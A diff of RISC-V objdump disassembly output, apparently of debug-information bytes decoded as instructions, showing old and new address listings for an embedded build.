+     192:	0000                	unimp
+     194:	1101                	addi	sp,sp,-32
+     196:	00018d07          	0x18d07
+     19a:	0000                	unimp
+     19c:	0100720b          	0x100720b
+     1a0:	0f12                	slli	t5,t5,0x4
+     1a2:	009d                	addi	ra,ra,7
      1a4:	0000                	unimp
-     1a6:	0305                	addi	t1,t1,1
-     1a8:	d9c8                	sw	a0,52(a1)
-     1aa:	8000                	0x8000
-     1ac:	0099e30f          	0x99e30f
-     1b0:	0100                	addi	s0,sp,128
-     1b2:	024a                	slli	tp,tp,0x12
-     1b4:	3005                	jal	fffff9d4 <_heap_end+0x7fff11d4>
-     1b6:	0000                	unimp
-     1b8:	9c00                	0x9c00
-     1ba:	4018                	lw	a4,0(s0)
-     1bc:	1020                	addi	s0,sp,40
-     1be:	0001                	nop
-     1c0:	0100                	addi	s0,sp,128
-     1c2:	579c                	lw	a5,40(a5)
-     1c4:	10000003          	lb	zero,256(zero) # 100 <__stack_size-0x700>
-     1c8:	18b0                	addi	a2,sp,120
-     1ca:	2040                	fld	fs0,128(s0)
-     1cc:	000a                	c.slli	zero,0x2
-     1ce:	0000                	unimp
-     1d0:	000001bb          	0x1bb
-     1d4:	7211                	lui	tp,0xfffe4
-     1d6:	0064                	addi	s1,sp,12
-     1d8:	5101                	li	sp,-32
-     1da:	0202                	c.slli64	tp
-     1dc:	0072                	c.slli	zero,0x1c
-     1de:	0000                	unimp
-     1e0:	1000                	addi	s0,sp,32
-     1e2:	18ba                	slli	a7,a7,0x2e
-     1e4:	2040                	fld	fs0,128(s0)
-     1e6:	0004                	0x4
+     1a6:	0b20                	addi	s0,sp,408
+     1a8:	13010077          	0x13010077
+     1ac:	00009d0f          	0x9d0f
+     1b0:	2400                	fld	fs0,8(s0)
+     1b2:	0800                	addi	s0,sp,16
+     1b4:	000000eb          	0xeb
+     1b8:	019d                	addi	gp,gp,7
+     1ba:	0000                	unimp
+     1bc:	a209                	j	2be <__stack_size-0x542>
+     1be:	0000                	unimp
+     1c0:	1f00                	addi	s0,sp,944
+     1c2:	1100                	addi	s0,sp,160
+     1c4:	00007173          	csrrci	sp,ustatus,0
+     1c8:	1401                	addi	s0,s0,-32
+     1ca:	00016003          	0x16003
+     1ce:	0500                	addi	s0,sp,640
+     1d0:	00d88803          	lb	a6,13(a7)
+     1d4:	0880                	addi	s0,sp,80
+     1d6:	000000eb          	0xeb
+     1da:	000001bf 0000a209 	0xa209000001bf
+     1e2:	2000                	fld	fs0,0(s0)
+     1e4:	1100                	addi	s0,sp,160
+     1e6:	379d                	jal	14c <__stack_size-0x6b4>
      1e8:	0000                	unimp
-     1ea:	01d5                	addi	gp,gp,21
-     1ec:	0000                	unimp
-     1ee:	7211                	lui	tp,0xfffe4
-     1f0:	0064                	addi	s1,sp,12
-     1f2:	5201                	li	tp,-32
-     1f4:	0502                	c.slli64	a0
-     1f6:	0072                	c.slli	zero,0x1c
-     1f8:	0000                	unimp
-     1fa:	1200                	addi	s0,sp,288
-     1fc:	18e2                	slli	a7,a7,0x38
-     1fe:	2040                	fld	fs0,128(s0)
-     200:	1cfc                	addi	a5,sp,636
-     202:	0000                	unimp
-     204:	01f6                	slli	gp,gp,0x1d
-     206:	0000                	unimp
-     208:	055a0113          	addi	sp,s4,85 # ffffa055 <_heap_end+0x7ffeb855>
-     20c:	405a5403          	lhu	s0,1029(s4)
-     210:	1320                	addi	s0,sp,424
-     212:	5b01                	li	s6,-32
-     214:	3001                	jal	fffffa14 <_heap_end+0x7fff1214>
-     216:	015c0113          	addi	sp,s8,21 # 19015 <__stack_size+0x18815>
-     21a:	0030                	addi	a2,sp,8
-     21c:	ee12                	fsw	ft4,28(sp)
-     21e:	4018                	lw	a4,0(s0)
-     220:	0820                	addi	s0,sp,24
-     222:	001d                	c.nop	7
-     224:	0d00                	addi	s0,sp,656
-     226:	0002                	c.slli64	zero
-     228:	1300                	addi	s0,sp,416
-     22a:	5a01                	li	s4,-32
-     22c:	0305                	addi	t1,t1,1
-     22e:	5a5c                	lw	a5,52(a2)
-     230:	2040                	fld	fs0,128(s0)
-     232:	1200                	addi	s0,sp,288
-     234:	18fa                	slli	a7,a7,0x3e
-     236:	2040                	fld	fs0,128(s0)
-     238:	1d08                	addi	a0,sp,688
+     1ea:	1601                	addi	a2,a2,-32
+     1ec:	af0d                	j	91e <__stack_size+0x11e>
+     1ee:	0001                	nop
+     1f0:	0500                	addi	s0,sp,640
+     1f2:	00d8b003          	0xd8b003
+     1f6:	1280                	addi	s0,sp,352
+     1f8:	206a                	fld	ft0,152(sp)
+     1fa:	0000                	unimp
+     1fc:	7001                	c.lui	zero,0xfffe0
+     1fe:	0000e507          	0xe507
+     202:	0500                	addi	s0,sp,640
+     204:	00d86403          	0xd86403
+     208:	1380                	addi	s0,sp,480
+     20a:	9a91                	andi	a3,a3,-28
+     20c:	0000                	unimp
+     20e:	7201                	lui	tp,0xfffe0
+     210:	9605                	srai	a2,a2,0x21
+     212:	0000                	unimp
+     214:	9c00                	0x9c00
+     216:	4018                	lw	a4,0(s0)
+     218:	aa20                	fsd	fs0,80(a2)
+     21a:	0001                	nop
+     21c:	0100                	addi	s0,sp,128
+     21e:	b89c                	fsd	fa5,48(s1)
+     220:	0004                	0x4
+     222:	1400                	addi	s0,sp,544
+     224:	18bc                	addi	a5,sp,120
+     226:	2040                	fld	fs0,128(s0)
+     228:	000a                	c.slli	zero,0x2
+     22a:	0000                	unimp
+     22c:	0216                	slli	tp,tp,0x5
+     22e:	0000                	unimp
+     230:	7215                	lui	tp,0xfffe5
+     232:	0064                	addi	s1,sp,12
+     234:	7901                	lui	s2,0xfffe0
+     236:	7002                	flw	ft0,32(sp)
+     238:	0000                	unimp
      23a:	0000                	unimp
-     23c:	0224                	addi	s1,sp,264
-     23e:	0000                	unimp
-     240:	055a0113          	addi	sp,s4,85
-     244:	405a6403          	0x405a6403
-     248:	0020                	addi	s0,sp,8
-     24a:	0612                	slli	a2,a2,0x4
-     24c:	4019                	c.li	zero,6
-     24e:	0820                	addi	s0,sp,24
-     250:	001d                	c.nop	7
-     252:	3b00                	fld	fs0,48(a4)
-     254:	0002                	c.slli64	zero
-     256:	1300                	addi	s0,sp,416
-     258:	5a01                	li	s4,-32
-     25a:	0305                	addi	t1,t1,1
-     25c:	5aac                	lw	a1,112(a3)
-     25e:	2040                	fld	fs0,128(s0)
-     260:	1200                	addi	s0,sp,288
-     262:	1912                	slli	s2,s2,0x24
-     264:	2040                	fld	fs0,128(s0)
-     266:	1d08                	addi	a0,sp,688
+     23c:	c614                	sw	a3,8(a2)
+     23e:	4018                	lw	a4,0(s0)
+     240:	0420                	addi	s0,sp,520
+     242:	0000                	unimp
+     244:	2f00                	fld	fs0,24(a4)
+     246:	0002                	c.slli64	zero
+     248:	1500                	addi	s0,sp,672
+     24a:	6472                	flw	fs0,28(sp)
+     24c:	0100                	addi	s0,sp,128
+     24e:	057a                	slli	a0,a0,0x1e
+     250:	0070                	addi	a2,sp,12
+     252:	0000                	unimp
+     254:	1600                	addi	s0,sp,800
+     256:	0050                	addi	a2,sp,4
+     258:	0000                	unimp
+     25a:	037c                	addi	a5,sp,396
+     25c:	0000                	unimp
+     25e:	006d7a17          	auipc	s4,0x6d7
+     262:	9201                	srli	a2,a2,0x20
+     264:	0004b817          	auipc	a6,0x4b
      268:	0000                	unimp
-     26a:	0252                	slli	tp,tp,0x14
-     26c:	0000                	unimp
-     26e:	055a0113          	addi	sp,s4,85
-     272:	405af403          	0x405af403
-     276:	0020                	addi	s0,sp,8
-     278:	1e12                	slli	t3,t3,0x24
-     27a:	4019                	c.li	zero,6
-     27c:	0820                	addi	s0,sp,24
-     27e:	001d                	c.nop	7
-     280:	6900                	flw	fs0,16(a0)
-     282:	0002                	c.slli64	zero
-     284:	1300                	addi	s0,sp,416
-     286:	5a01                	li	s4,-32
-     288:	0305                	addi	t1,t1,1
-     28a:	5a64                	lw	s1,116(a2)
-     28c:	2040                	fld	fs0,128(s0)
-     28e:	1200                	addi	s0,sp,288
-     290:	192a                	slli	s2,s2,0x2a
-     292:	2040                	fld	fs0,128(s0)
-     294:	1d08                	addi	a0,sp,688
-     296:	0000                	unimp
-     298:	0280                	addi	s0,sp,320
-     29a:	0000                	unimp
-     29c:	055a0113          	addi	sp,s4,85
-     2a0:	405b3c03          	0x405b3c03
-     2a4:	0020                	addi	s0,sp,8
-     2a6:	3612                	fld	fa2,288(sp)
-     2a8:	4019                	c.li	zero,6
-     2aa:	0820                	addi	s0,sp,24
-     2ac:	001d                	c.nop	7
-     2ae:	9700                	0x9700
-     2b0:	0002                	c.slli64	zero
-     2b2:	1300                	addi	s0,sp,416
-     2b4:	5a01                	li	s4,-32
-     2b6:	0305                	addi	t1,t1,1
-     2b8:	5b84                	lw	s1,48(a5)
-     2ba:	2040                	fld	fs0,128(s0)
-     2bc:	1200                	addi	s0,sp,288
-     2be:	1942                	slli	s2,s2,0x30
-     2c0:	2040                	fld	fs0,128(s0)
-     2c2:	1d08                	addi	a0,sp,688
-     2c4:	0000                	unimp
-     2c6:	02ae                	slli	t0,t0,0xb
-     2c8:	0000                	unimp
-     2ca:	055a0113          	addi	sp,s4,85
-     2ce:	405bcc03          	lbu	s8,1029(s7)
-     2d2:	0020                	addi	s0,sp,8
-     2d4:	4e12                	lw	t3,4(sp)
-     2d6:	4019                	c.li	zero,6
-     2d8:	0820                	addi	s0,sp,24
-     2da:	001d                	c.nop	7
-     2dc:	c500                	sw	s0,8(a0)
-     2de:	0002                	c.slli64	zero
-     2e0:	1300                	addi	s0,sp,416
-     2e2:	5a01                	li	s4,-32
-     2e4:	0305                	addi	t1,t1,1
-     2e6:	5c14                	lw	a3,56(s0)
-     2e8:	2040                	fld	fs0,128(s0)
-     2ea:	1200                	addi	s0,sp,288
-     2ec:	195a                	slli	s2,s2,0x36
-     2ee:	2040                	fld	fs0,128(s0)
-     2f0:	1d08                	addi	a0,sp,688
-     2f2:	0000                	unimp
-     2f4:	02dc                	addi	a5,sp,324
-     2f6:	0000                	unimp
-     2f8:	055a0113          	addi	sp,s4,85
-     2fc:	405c5c03          	lhu	s8,1029(s8)
-     300:	0020                	addi	s0,sp,8
-     302:	6612                	flw	fa2,4(sp)
-     304:	4019                	c.li	zero,6
-     306:	0820                	addi	s0,sp,24
-     308:	001d                	c.nop	7
-     30a:	f300                	fsw	fs0,32(a4)
-     30c:	0002                	c.slli64	zero
-     30e:	1300                	addi	s0,sp,416
-     310:	5a01                	li	s4,-32
-     312:	0305                	addi	t1,t1,1
-     314:	5a64                	lw	s1,116(a2)
-     316:	2040                	fld	fs0,128(s0)
-     318:	1400                	addi	s0,sp,544
-     31a:	1968                	addi	a0,sp,188
+     26a:	0000                	unimp
+     26c:	1600                	addi	s0,sp,800
+     26e:	0068                	addi	a0,sp,12
+     270:	0000                	unimp
+     272:	0325                	addi	t1,t1,9
+     274:	0000                	unimp
+     276:	00767217          	auipc	tp,0x767
+     27a:	9601                	srai	a2,a2,0x20
+     27c:	b00c                	fsd	fa1,32(s0)
+     27e:	0000                	unimp
+     280:	1e00                	addi	s0,sp,816
+     282:	0000                	unimp
+     284:	1800                	addi	s0,sp,48
+     286:	6264                	flw	fs1,68(a2)
+     288:	97010067          	jr	-1680(sp)
+     28c:	be09                	j	fffffd9e <_heap_end+0x7fff159e>
+     28e:	0004                	0x4
+     290:	0300                	addi	s0,sp,384
+     292:	b891                	j	fffffae6 <_heap_end+0x7fff12e6>
+     294:	197f                	0x197f
+     296:	19c2                	slli	s3,s3,0x30
+     298:	2040                	fld	fs0,128(s0)
+     29a:	07ee                	slli	a5,a5,0x1b
+     29c:	0000                	unimp
+     29e:	0289                	addi	t0,t0,2
+     2a0:	0000                	unimp
+     2a2:	011a                	slli	sp,sp,0x6
+     2a4:	035a                	slli	t1,t1,0x16
+     2a6:	b891                	j	fffffafa <_heap_end+0x7fff12fa>
+     2a8:	1a7f                	0x1a7f
+     2aa:	5c01                	li	s8,-32
+     2ac:	4401                	li	s0,0
+     2ae:	1900                	addi	s0,sp,176
+     2b0:	19cc                	addi	a1,sp,244
+     2b2:	2040                	fld	fs0,128(s0)
+     2b4:	07fa                	slli	a5,a5,0x1e
+     2b6:	0000                	unimp
+     2b8:	029d                	addi	t0,t0,7
+     2ba:	0000                	unimp
+     2bc:	011a                	slli	sp,sp,0x6
+     2be:	025a                	slli	tp,tp,0x16
+     2c0:	0085                	addi	ra,ra,1
+     2c2:	1b00                	addi	s0,sp,432
+     2c4:	19d6                	slli	s3,s3,0x35
+     2c6:	2040                	fld	fs0,128(s0)
+     2c8:	0806                	slli	a6,a6,0x1
+     2ca:	0000                	unimp
+     2cc:	4019ea1b          	0x4019ea1b
+     2d0:	1220                	addi	s0,sp,296
+     2d2:	0008                	0x8
+     2d4:	1b00                	addi	s0,sp,432
+     2d6:	19f4                	addi	a3,sp,252
+     2d8:	2040                	fld	fs0,128(s0)
+     2da:	081e                	slli	a6,a6,0x7
+     2dc:	0000                	unimp
+     2de:	0019                	c.nop	6
+     2e0:	401a                	0x401a
+     2e2:	2a20                	fld	fs0,80(a2)
+     2e4:	0008                	0x8
+     2e6:	cb00                	sw	s0,16(a4)
+     2e8:	0002                	c.slli64	zero
+     2ea:	1a00                	addi	s0,sp,304
+     2ec:	5a01                	li	s4,-32
+     2ee:	3101                	jal	fffffeee <_heap_end+0x7fff16ee>
+     2f0:	1900                	addi	s0,sp,176
+     2f2:	1a08                	addi	a0,sp,304
+     2f4:	2040                	fld	fs0,128(s0)
+     2f6:	07fa                	slli	a5,a5,0x1e
+     2f8:	0000                	unimp
+     2fa:	02df 0000 011a      	0x11a000002df
+     300:	025a                	slli	tp,tp,0x16
+     302:	0086                	slli	ra,ra,0x1
+     304:	1900                	addi	s0,sp,176
+     306:	1a1a                	slli	s4,s4,0x26
+     308:	2040                	fld	fs0,128(s0)
+     30a:	07fa                	slli	a5,a5,0x1e
+     30c:	0000                	unimp
+     30e:	000002f3          	0x2f3
+     312:	011a                	slli	sp,sp,0x6
+     314:	025a                	slli	tp,tp,0x16
+     316:	19000087          	0x19000087
+     31a:	1a22                	slli	s4,s4,0x28
      31c:	2040                	fld	fs0,128(s0)
-     31e:	17b1                	addi	a5,a5,-20
+     31e:	0836                	slli	a6,a6,0xd
      320:	0000                	unimp
-     322:	7812                	flw	fa6,36(sp)
-     324:	4019                	c.li	zero,6
-     326:	1420                	addi	s0,sp,552
-     328:	001d                	c.nop	7
-     32a:	1d00                	addi	s0,sp,688
-     32c:	13000003          	lb	zero,304(zero) # 130 <__stack_size-0x6d0>
-     330:	5a01                	li	s4,-32
-     332:	3101                	jal	ffffff32 <_heap_end+0x7fff1732>
-     334:	055b0113          	addi	sp,s6,85
-     338:	405ca403          	lw	s0,1029(s9)
-     33c:	1320                	addi	s0,sp,424
-     33e:	5c01                	li	s8,-32
-     340:	3701                	jal	240 <__stack_size-0x5c0>
-     342:	1400                	addi	s0,sp,544
-     344:	1988                	addi	a0,sp,240
-     346:	2040                	fld	fs0,128(s0)
-     348:	00000357          	0x357
-     34c:	8e14                	0x8e14
-     34e:	4019                	c.li	zero,6
-     350:	c920                	sw	s0,80(a0)
-     352:	12000007          	0x12000007
-     356:	1998                	addi	a4,sp,240
-     358:	2040                	fld	fs0,128(s0)
-     35a:	1d14                	addi	a3,sp,688
-     35c:	0000                	unimp
-     35e:	034d                	addi	t1,t1,19
-     360:	0000                	unimp
-     362:	015a0113          	addi	sp,s4,21
-     366:	1331                	addi	t1,t1,-20
-     368:	5b01                	li	s6,-32
-     36a:	7902                	flw	fs2,32(sp)
-     36c:	1300                	addi	s0,sp,416
-     36e:	5c01                	li	s8,-32
-     370:	3701                	jal	270 <__stack_size-0x590>
-     372:	1400                	addi	s0,sp,544
-     374:	19a0                	addi	s0,sp,248
-     376:	2040                	fld	fs0,128(s0)
-     378:	00000e37          	lui	t3,0x0
-     37c:	1500                	addi	s0,sp,672
-     37e:	7794                	flw	fa3,40(a5)
-     380:	0000                	unimp
-     382:	dc01                	beqz	s0,29a <__stack_size-0x566>
-     384:	0501                	addi	a0,a0,0
-     386:	0030                	addi	a2,sp,8
-     388:	0000                	unimp
-     38a:	26f8                	fld	fa4,200(a3)
-     38c:	2040                	fld	fs0,128(s0)
-     38e:	0424                	addi	s1,sp,520
-     390:	0000                	unimp
-     392:	9c01                	0x9c01
-     394:	000007b3          	add	a5,zero,zero
-     398:	7016                	flw	ft0,100(sp)
-     39a:	0100                	addi	s0,sp,128
-     39c:	01df 300d 0000      	0x300d01df
-     3a2:	0500                	addi	s0,sp,640
-     3a4:	00d88403          	lb	s0,13(a7) # 100000d <__stack_size+0xfff80d>
-     3a8:	1680                	addi	s0,sp,864
-     3aa:	7365                	lui	t1,0xffff9
-     3ac:	e0010063          	beqz	sp,fffff9ac <_heap_end+0x7fff11ac>
-     3b0:	0d01                	addi	s10,s10,0
-     3b2:	0030                	addi	a2,sp,8
-     3b4:	0000                	unimp
-     3b6:	0305                	addi	t1,t1,1
-     3b8:	d880                	sw	s0,48(s1)
-     3ba:	8000                	0x8000
-     3bc:	0037d817          	auipc	a6,0x37d
-     3c0:	0100                	addi	s0,sp,128
-     3c2:	01e1                	addi	gp,gp,24
-     3c4:	b30e                	fsd	ft3,416(sp)
-     3c6:	05000007          	0x5000007
-     3ca:	00d8c003          	lbu	zero,13(a7)
-     3ce:	1680                	addi	s0,sp,864
-     3d0:	0068                	addi	a0,sp,12
-     3d2:	e101                	bnez	a0,3d2 <__stack_size-0x42e>
-     3d4:	5201                	li	tp,-32
-     3d6:	0030                	addi	a2,sp,8
-     3d8:	0000                	unimp
-     3da:	0305                	addi	t1,t1,1
-     3dc:	d874                	sw	a3,116(s0)
-     3de:	8000                	0x8000
-     3e0:	6518                	flw	fa4,8(a0)
-     3e2:	01006c6f          	jal	s8,63f2 <__stack_size+0x5bf2>
-     3e6:	300601e3          	beqz	a2,ee8 <__stack_size+0x6e8>
-     3ea:	0000                	unimp
-     3ec:	0000                	unimp
-     3ee:	0000                	unimp
+     322:	0311                	addi	t1,t1,4
+     324:	0000                	unimp
+     326:	011a                	slli	sp,sp,0x6
+     328:	025a                	slli	tp,tp,0x16
+     32a:	0078                	addi	a4,sp,12
+     32c:	011a                	slli	sp,sp,0x6
+     32e:	1a31015b          	0x1a31015b
+     332:	5c01                	li	s8,-32
+     334:	3101                	jal	ffffff34 <_heap_end+0x7fff1734>
+     336:	1c00                	addi	s0,sp,560
+     338:	1a2e                	slli	s4,s4,0x2b
+     33a:	2040                	fld	fs0,128(s0)
+     33c:	07fa                	slli	a5,a5,0x1e
+     33e:	0000                	unimp
+     340:	011a                	slli	sp,sp,0x6
+     342:	055a                	slli	a0,a0,0x16
+     344:	4041f803          	0x4041f803
+     348:	0020                	addi	s0,sp,8
+     34a:	1900                	addi	s0,sp,176
+     34c:	19b4                	addi	a3,sp,248
+     34e:	2040                	fld	fs0,128(s0)
+     350:	0842                	slli	a6,a6,0x10
+     352:	0000                	unimp
+     354:	033e                	slli	t1,t1,0xf
+     356:	0000                	unimp
+     358:	011a                	slli	sp,sp,0x6
+     35a:	015a                	slli	sp,sp,0x16
+     35c:	1a31                	addi	s4,s4,-20
+     35e:	5b01                	li	s6,-32
+     360:	8202                	jr	tp
+     362:	0000                	unimp
+     364:	3619                	jal	fffffe6a <_heap_end+0x7fff166a>
+     366:	401a                	0x401a
+     368:	4220                	lw	s0,64(a2)
+     36a:	0008                	0x8
+     36c:	5700                	lw	s0,40(a4)
+     36e:	1a000003          	lb	zero,416(zero) # 1a0 <__stack_size-0x660>
+     372:	5a01                	li	s4,-32
+     374:	3201                	jal	fffffc74 <_heap_end+0x7fff1474>
+     376:	011a                	slli	sp,sp,0x6
+     378:	0082025b          	0x82025b
+     37c:	1900                	addi	s0,sp,176
+     37e:	1a40                	addi	s0,sp,308
+     380:	2040                	fld	fs0,128(s0)
+     382:	07fa                	slli	a5,a5,0x1e
+     384:	0000                	unimp
+     386:	0000036b          	0x36b
+     38a:	011a                	slli	sp,sp,0x6
+     38c:	025a                	slli	tp,tp,0x16
+     38e:	0084                	addi	s1,sp,64
+     390:	1c00                	addi	s0,sp,560
+     392:	1a44                	addi	s1,sp,308
+     394:	2040                	fld	fs0,128(s0)
+     396:	084e                	slli	a6,a6,0x13
+     398:	0000                	unimp
+     39a:	011a                	slli	sp,sp,0x6
+     39c:	025a                	slli	tp,tp,0x16
+     39e:	0078                	addi	a4,sp,12
+     3a0:	0000                	unimp
+     3a2:	ee19                	bnez	a2,3c0 <__stack_size-0x440>
+     3a4:	4018                	lw	a4,0(s0)
+     3a6:	5a20                	lw	s0,112(a2)
+     3a8:	0008                	0x8
+     3aa:	9d00                	0x9d00
+     3ac:	1a000003          	lb	zero,416(zero) # 1a0 <__stack_size-0x660>
+     3b0:	5a01                	li	s4,-32
+     3b2:	0305                	addi	t1,t1,1
+     3b4:	3f48                	fld	fa0,184(a4)
+     3b6:	2040                	fld	fs0,128(s0)
+     3b8:	011a                	slli	sp,sp,0x6
+     3ba:	1a30015b          	0x1a30015b
+     3be:	5c01                	li	s8,-32
+     3c0:	3001                	jal	fffffbc0 <_heap_end+0x7fff13c0>
+     3c2:	1900                	addi	s0,sp,176
+     3c4:	18fa                	slli	a7,a7,0x3e
+     3c6:	2040                	fld	fs0,128(s0)
+     3c8:	07fa                	slli	a5,a5,0x1e
+     3ca:	0000                	unimp
+     3cc:	03b4                	addi	a3,sp,456
+     3ce:	0000                	unimp
+     3d0:	011a                	slli	sp,sp,0x6
+     3d2:	055a                	slli	a0,a0,0x16
+     3d4:	403f5003          	lhu	zero,1027(t5) # ffffb403 <_heap_end+0x7ffecc03>
+     3d8:	0020                	addi	s0,sp,8
+     3da:	0619                	addi	a2,a2,6
+     3dc:	4019                	c.li	zero,6
+     3de:	fa20                	fsw	fs0,112(a2)
+     3e0:	cb000007          	0xcb000007
+     3e4:	1a000003          	lb	zero,416(zero) # 1a0 <__stack_size-0x660>
+     3e8:	5a01                	li	s4,-32
+     3ea:	0305                	addi	t1,t1,1
+     3ec:	3f58                	fld	fa4,184(a4)
+     3ee:	2040                	fld	fs0,128(s0)
      3f0:	1900                	addi	s0,sp,176
-     3f2:	0218                	addi	a4,sp,256
-     3f4:	0000                	unimp
-     3f6:	6318                	flw	fa4,0(a4)
-     3f8:	0100                	addi	s0,sp,128
-     3fa:	01e8                	addi	a0,sp,204
-     3fc:	0000f30f          	0xf30f
-     400:	2c00                	fld	fs0,24(s0)
-     402:	0000                	unimp
-     404:	1a00                	addi	s0,sp,304
-     406:	0240                	addi	s0,sp,260
-     408:	0000                	unimp
-     40a:	0408                	addi	a0,sp,512
-     40c:	0000                	unimp
-     40e:	6918                	flw	fa4,16(a0)
-     410:	0100                	addi	s0,sp,128
-     412:	01f6                	slli	gp,gp,0x1d
-     414:	300d                	jal	fffffc36 <_heap_end+0x7fff1436>
-     416:	0000                	unimp
-     418:	ad00                	fsd	fs0,24(a0)
-     41a:	0000                	unimp
-     41c:	1b00                	addi	s0,sp,432
-     41e:	27c0                	fld	fs0,136(a5)
-     420:	2040                	fld	fs0,128(s0)
-     422:	1d20                	addi	s0,sp,696
-     424:	0000                	unimp
-     426:	025a0113          	addi	sp,s4,37
-     42a:	0079                	c.nop	30
-     42c:	0000                	unimp
-     42e:	581a                	lw	a6,164(sp)
-     430:	0002                	c.slli64	zero
-     432:	3100                	fld	fs0,32(a0)
-     434:	0004                	0x4
-     436:	1800                	addi	s0,sp,48
-     438:	0069                	c.nop	26
-     43a:	2401                	jal	63a <__stack_size-0x1c6>
-     43c:	0d02                	c.slli64	s10
-     43e:	0030                	addi	a2,sp,8
-     440:	0000                	unimp
-     442:	000000e3          	beqz	zero,c42 <__stack_size+0x442>
-     446:	402ac21b          	0x402ac21b
-     44a:	2020                	fld	fs0,64(s0)
-     44c:	001d                	c.nop	7
-     44e:	1300                	addi	s0,sp,416
-     450:	5a01                	li	s4,-32
-     452:	7902                	flw	fs2,32(sp)
+     3f2:	1912                	slli	s2,s2,0x24
+     3f4:	2040                	fld	fs0,128(s0)
+     3f6:	07fa                	slli	a5,a5,0x1e
+     3f8:	0000                	unimp
+     3fa:	03e2                	slli	t2,t2,0x18
+     3fc:	0000                	unimp
+     3fe:	011a                	slli	sp,sp,0x6
+     400:	055a                	slli	a0,a0,0x16
+     402:	403fa003          	lw	zero,1027(t6)
+     406:	0020                	addi	s0,sp,8
+     408:	1e19                	addi	t3,t3,-26
+     40a:	4019                	c.li	zero,6
+     40c:	fa20                	fsw	fs0,112(a2)
+     40e:	f9000007          	0xf9000007
+     412:	1a000003          	lb	zero,416(zero) # 1a0 <__stack_size-0x660>
+     416:	5a01                	li	s4,-32
+     418:	0305                	addi	t1,t1,1
+     41a:	3fe8                	fld	fa0,248(a5)
+     41c:	2040                	fld	fs0,128(s0)
+     41e:	1900                	addi	s0,sp,176
+     420:	192a                	slli	s2,s2,0x2a
+     422:	2040                	fld	fs0,128(s0)
+     424:	07fa                	slli	a5,a5,0x1e
+     426:	0000                	unimp
+     428:	0410                	addi	a2,sp,512
+     42a:	0000                	unimp
+     42c:	011a                	slli	sp,sp,0x6
+     42e:	055a                	slli	a0,a0,0x16
+     430:	403f5803          	lhu	a6,1027(t5)
+     434:	0020                	addi	s0,sp,8
+     436:	3619                	jal	ffffff3c <_heap_end+0x7fff173c>
+     438:	4019                	c.li	zero,6
+     43a:	fa20                	fsw	fs0,112(a2)
+     43c:	27000007          	0x27000007
+     440:	0004                	0x4
+     442:	1a00                	addi	s0,sp,304
+     444:	5a01                	li	s4,-32
+     446:	0305                	addi	t1,t1,1
+     448:	4030                	lw	a2,64(s0)
+     44a:	2040                	fld	fs0,128(s0)
+     44c:	1900                	addi	s0,sp,176
+     44e:	1942                	slli	s2,s2,0x30
+     450:	2040                	fld	fs0,128(s0)
+     452:	07fa                	slli	a5,a5,0x1e
      454:	0000                	unimp
-     456:	1a00                	addi	s0,sp,304
-     458:	0270                	addi	a2,sp,268
-     45a:	0000                	unimp
-     45c:	044a                	slli	s0,s0,0x12
-     45e:	0000                	unimp
-     460:	6918                	flw	fa4,16(a0)
-     462:	0100                	addi	s0,sp,128
-     464:	022c                	addi	a1,sp,264
-     466:	300d                	jal	fffffc88 <_heap_end+0x7fff1488>
-     468:	0000                	unimp
-     46a:	1900                	addi	s0,sp,176
-     46c:	0001                	nop
-     46e:	0000                	unimp
-     470:	881a                	mv	a6,t1
-     472:	0002                	c.slli64	zero
-     474:	7300                	flw	fs0,32(a4)
-     476:	0004                	0x4
-     478:	1800                	addi	s0,sp,48
-     47a:	0069                	c.nop	26
-     47c:	3801                	jal	fffffc8c <_heap_end+0x7fff148c>
-     47e:	2702                	fld	fa4,0(sp)
-     480:	0030                	addi	a2,sp,8
+     456:	043e                	slli	s0,s0,0xf
+     458:	0000                	unimp
+     45a:	011a                	slli	sp,sp,0x6
+     45c:	055a                	slli	a0,a0,0x16
+     45e:	40407803          	0x40407803
+     462:	0020                	addi	s0,sp,8
+     464:	4e19                	li	t3,6
+     466:	4019                	c.li	zero,6
+     468:	fa20                	fsw	fs0,112(a2)
+     46a:	55000007          	0x55000007
+     46e:	0004                	0x4
+     470:	1a00                	addi	s0,sp,304
+     472:	5a01                	li	s4,-32
+     474:	0305                	addi	t1,t1,1
+     476:	40c0                	lw	s0,4(s1)
+     478:	2040                	fld	fs0,128(s0)
+     47a:	1900                	addi	s0,sp,176
+     47c:	195a                	slli	s2,s2,0x36
+     47e:	2040                	fld	fs0,128(s0)
+     480:	07fa                	slli	a5,a5,0x1e
      482:	0000                	unimp
-     484:	0000014f          	fnmadd.s	ft2,ft0,ft0,ft0,rne
-     488:	402a1e1b          	0x402a1e1b
-     48c:	2020                	fld	fs0,64(s0)
-     48e:	001d                	c.nop	7
-     490:	1300                	addi	s0,sp,416
-     492:	5a01                	li	s4,-32
-     494:	7902                	flw	fs2,32(sp)
-     496:	0000                	unimp
-     498:	1000                	addi	s0,sp,32
-     49a:	2a44                	fld	fs1,144(a2)
-     49c:	2040                	fld	fs0,128(s0)
-     49e:	0010                	0x10
-     4a0:	0000                	unimp
-     4a2:	04a2                	slli	s1,s1,0x8
-     4a4:	0000                	unimp
-     4a6:	6911                	lui	s2,0x4
-     4a8:	0100                	addi	s0,sp,128
-     4aa:	300e023b          	0x300e023b
-     4ae:	0000                	unimp
-     4b0:	1b00                	addi	s0,sp,432
-     4b2:	2a50                	fld	fa2,144(a2)
-     4b4:	2040                	fld	fs0,128(s0)
-     4b6:	1d2c                	addi	a1,sp,696
-     4b8:	0000                	unimp
-     4ba:	025a0113          	addi	sp,s4,37
-     4be:	2178                	fld	fa4,192(a0)
-     4c0:	025b0113          	addi	sp,s6,37
-     4c4:	0078                	addi	a4,sp,12
-     4c6:	0000                	unimp
-     4c8:	d612                	sw	tp,44(sp)
-     4ca:	14204027          	fsq	ft2,320(zero) # 140 <__stack_size-0x6c0>
-     4ce:	001d                	c.nop	7
-     4d0:	c300                	sw	s0,0(a4)
-     4d2:	0004                	0x4
-     4d4:	1300                	addi	s0,sp,416
-     4d6:	5a01                	li	s4,-32
-     4d8:	3101                	jal	d8 <__stack_size-0x728>
-     4da:	055b0113          	addi	sp,s6,85
-     4de:	405a3003          	0x405a3003
-     4e2:	1320                	addi	s0,sp,424
-     4e4:	5c01                	li	s8,-32
-     4e6:	3201                	jal	fffffde6 <_heap_end+0x7fff15e6>
-     4e8:	1200                	addi	s0,sp,288
-     4ea:	27e6                	fld	fa5,88(sp)
-     4ec:	2040                	fld	fs0,128(s0)
-     4ee:	1d14                	addi	a3,sp,688
+     484:	046c                	addi	a1,sp,524
+     486:	0000                	unimp
+     488:	011a                	slli	sp,sp,0x6
